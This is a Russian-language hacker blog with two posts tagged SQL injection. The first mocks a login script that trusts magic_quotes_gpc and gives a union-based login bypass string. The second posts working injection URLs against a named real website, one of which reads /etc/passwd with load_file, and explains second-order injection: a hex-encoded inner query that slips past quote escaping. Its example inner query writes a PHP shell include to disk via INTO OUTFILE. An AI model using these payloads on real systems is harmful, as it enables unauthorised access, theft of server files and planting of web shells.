Какбэ Я

Моя фотография
○○●○○
○○○●○
○●●●○
Показаны сообщения с ярлыком SQL INJ. Показать все сообщения
Показаны сообщения с ярлыком SQL INJ. Показать все сообщения

воскресенье, 21 февраля 2010 г.

Странно

Все хочу вести блог, но все не хватает времени. Недавно увидел исходники одного интересующего меня сайта, ну просто повезло... Это действительно было забавно, он использовал скрипт (ну что-то типа модуля), который обеспечивал возможность Basic HTTP аутентификации пользователей которые занесены в БД, конечно об авторизации не было и речи, если внутри, то ужо одминчег.  Забавно то, что скрипт проверял включена ли опция magic_quotes_gpc и если она выключена, то _SERVER['PHP_AUTH_USER'] экранируется с помощью mysql_escape_string() , это все конечно уязвимо при использовании двухбайтных кодировок (например китайской BIG5), кстати первый раз я встретил возможностьб обойти экранирование на сайте www.2checkout.com, сильно не правда ли (сильно, это я про значимость сайта)? Потом увидел статью Elekta и все стало понятно. Но смысл не в этом, смысл в том что если magic_quotes_gpc включена, то и обрабатывать данные не стоит, по мнению авторов. Даже буквы gpc на конце говорят про то, что обрабатывается только массив _REQUEST, вернее массивы_GET, _POST и _COOKIE. Кодеры!!! куда вы смотрите?!!! Пора забыть про такие элементарные ошибки, когда вся суть проникнуть в панель администратора заключается в том, что в поле логин нужно ввести:"asasasas' union select 1 -- 11" а в поле пароль:"1".  Давайте не будем позориться)

вторник, 31 марта 2009 г.

Двойные запросы

Есть MySQL инъекция:

http://www.thefump.com/lyrics.php?id=-99999+union+select+1,load_file(0x2f6574632f706173737764),3,4,USER(),6,7,8,9,10,VERSION(),12,13/*
смысл в том, что текущий пользователь БД root и как видно file_priv есть, но казалось бы шелл через into outfile залить нельзя, так как экранируются кавычки, на самом деле шелл здесь (и в подобных скулях) через into outfile залить не сложно.

К теории, есть например такой скрипт:

<?php
mysql_connect('localhost','root','');
mysql_select_db('intbrd');
$id=$_GET["id"];
$sql = "SELECT u_id,u__email,u__name FROM `User` where u_id=".$id;
$result = MySQL_QUERY($sql);
echo
mysql_error();
while(
$us = MySQL_FETCH_ARRAY($result))
{
echo
$us['u__email'].":".$us['u__name'];echo "<br>";
$onl = MySQL_QUERY("SELECT o_uid,o_key FROM online WHERE o_uid = ".$us["u_id"]);
while(
$usonl = MySQL_FETCH_ARRAY($onl))
echo
$usonl["o_uid"].':'.$usonl["o_key"];
}
?>

(набросал я его чисто для наглядности и примера и показываю на примере своей бд)

обратившись к скрипту:
http://localhost/erase.php?id=-2+union+select+1,2,3/*
видим:
2:3
обратившись:
http://localhost/erase.php?id=-2+union+select+0x27,2,3/*
(0x27- код кавычки) видим:
2:3
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in Z:\home\localhost\www\erase.php on line 20
происходит это потому, что данные, полученные из первого запроса, вставляются во второй запрос.

Сделаем "внутренний" инъект-запрос:
-2 union select '999',111/*
захексим его и подставим в первое поле первого ("внешнего") запроса:
http://localhost/erase.php?id=-2+union+select+0x2D3220756E696F6E2073656C6563742027393939272C3131312F2A,2,3/*

результат:
2:3
999:111
т.к. данные полученные из sql-запроса не так часто слешируют/фильтруют то получается что этот "внутренний" запрос выполняется без ошибок, даже при наличии кавычек.

Если "внутренний" запрос будет:
-2 union select '<?php include "shell.php"; ?>,111 into outfile '/bla/bla/bla.php'/*
то в запросе
$onl = MySQL_QUERY("SELECT o_uid,o_key FROM online WHERE o_uid = ".$us["u_id"])

он выполнится без проблем даже при magic_quotes on

Обратимся к первой инъекции, если мы в третье поле подставим:
-1 union select 'magic_qotes is sux'/*
и выполним:
http://www.thefump.com/lyrics.php?id=-99999+union+select+1,2,0x2D3120756E696F6E2073656C65637420276D616769635F716F74657320697320737578272F2A,4,5,6,7,8,9,10,11,12,13/*
увидим безобидную надпись magic_qotes is sux
а могли бы составить и более опасный запрос с присутствием into outfile 'blabla' и он тоже бы выполнился.